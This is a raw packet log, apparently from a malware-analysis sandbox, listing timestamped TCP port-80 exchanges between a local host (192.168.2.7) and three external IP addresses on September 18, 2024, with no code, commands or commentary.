Sep 18, 2024 14:30:08.244240046 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.244260073 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244271994 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244282961 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244294882 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244297028 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.244309902 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244319916 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244349003 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.244366884 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.244590998 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244605064 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244630098 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.244647026 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.244704008 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244715929 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244729042 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244736910 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.244740963 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244754076 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.244771004 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.244796991 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.244817972 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.244829893 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.244849920 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244853973 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.244862080 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244874954 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244879961 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.244887114 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.244909048 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.244968891 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.245131969 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245151997 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245163918 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245177984 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.245204926 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.245208025 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245219946 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245232105 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245243073 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245244980 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.245255947 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245270014 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.245292902 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.245332956 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245349884 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245362043 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245372057 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.245373964 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245385885 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245397091 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.245424032 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.245702982 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245717049 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245728970 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245764971 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.245778084 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.245835066 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245870113 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.245877981 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245891094 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245912075 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.245949984 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.245973110 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.245986938 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246011972 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246025085 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246205091 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246217012 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246228933 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246241093 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246252060 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246257067 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246264935 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246277094 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246279955 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246304035 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246318102 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246339083 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246351004 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246364117 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246375084 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246383905 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246391058 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246396065 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246408939 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246421099 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246426105 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246434927 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246439934 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246448994 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246473074 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246478081 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.246484995 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246517897 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.246516943 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.246535063 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.246552944 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.246567965 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.246568918 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.246582985 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.246599913 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.246604919 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.246613979 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.246618986 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.246639967 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.246650934 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.246654034 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.246665001 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.246679068 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246685028 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.246700048 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246714115 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246720076 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.246723890 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246727943 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246738911 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246754885 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246794939 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246800900 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.246814966 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.246825933 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.246838093 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.246839046 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.246851921 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.246855021 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.246869087 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246872902 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.246901035 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.246912956 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246927023 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246939898 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246952057 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246956110 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246956110 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.246963978 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.246977091 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247025967 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.247025967 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.247025967 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.247039080 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247051954 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247061968 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247073889 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247081041 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.247086048 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247097015 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247097969 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.247109890 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247128963 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.247147083 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.247174978 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247185946 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247200012 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247211933 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.247219086 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247224092 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.247231007 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247241974 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.247243881 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247257948 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.247262955 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247275114 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247283936 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.247287035 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247308016 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.247344017 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.247831106 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247843027 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247853994 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247873068 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247884035 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247895956 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247910023 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.247912884 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.247912884 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.247956991 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.247956991 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.248053074 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248065948 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248076916 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248090029 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248100996 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248100996 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.248116970 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248126030 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.248130083 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248142004 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248142004 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.248158932 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248168945 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.248169899 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248184919 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248212099 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.248343945 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248357058 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248368025 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248370886 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.248380899 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248389959 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.248392105 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248404026 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248415947 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248428106 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248430014 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.248439074 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248450994 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248461962 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.248461962 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248477936 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.248483896 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248502016 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248506069 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.248513937 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248528004 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248532057 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.248542070 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248553991 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248558998 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.248568058 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248584032 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.248604059 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248610973 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.248619080 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248629093 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248641014 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.248668909 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.248677015 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248688936 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248699903 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248712063 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.248728991 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248739958 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.248740911 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.248764992 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.248794079 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.248848915 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248861074 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248872042 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248883009 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248893976 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248897076 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.248908997 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.248914957 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.248939991 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.248960018 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.249136925 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.249154091 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.249166965 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.249177933 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.249183893 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.249188900 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.249201059 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.249201059 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.249212980 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.249224901 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.249229908 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.249237061 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.249257088 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.249260902 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.249269009 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.249272108 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.249280930 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.249305964 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.249314070 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.249317884 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.249332905 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.249342918 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.249351978 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.249365091 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.249363899 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.249363899 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.249363899 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.249376059 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.249387026 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.249406099 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.249418020 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.249422073 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.249435902 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.249439001 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.249447107 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.249458075 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.249470949 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.249481916 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.249489069 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.250365973 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.250377893 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.250390053 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.250408888 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.250412941 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.250420094 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.250432014 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.250441074 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.250443935 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.250456095 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.250458956 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.250468969 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.250480890 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.250482082 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.250492096 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.250504971 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.250518084 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.276263952 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.276371002 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.276372910 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.276382923 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.276396036 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.276408911 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.276421070 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.276426077 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.276433945 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.276459932 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.276472092 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.276480913 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.276508093 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.277146101 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.277204990 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.277299881 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.277312994 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.277324915 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.277344942 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.277368069 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.277430058 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.277467012 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.277481079 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.277493954 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.277517080 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.277534008 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.278326988 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.278378963 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.278393030 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.278404951 CEST	80	49703	176.113.115.33	192.168.2.7
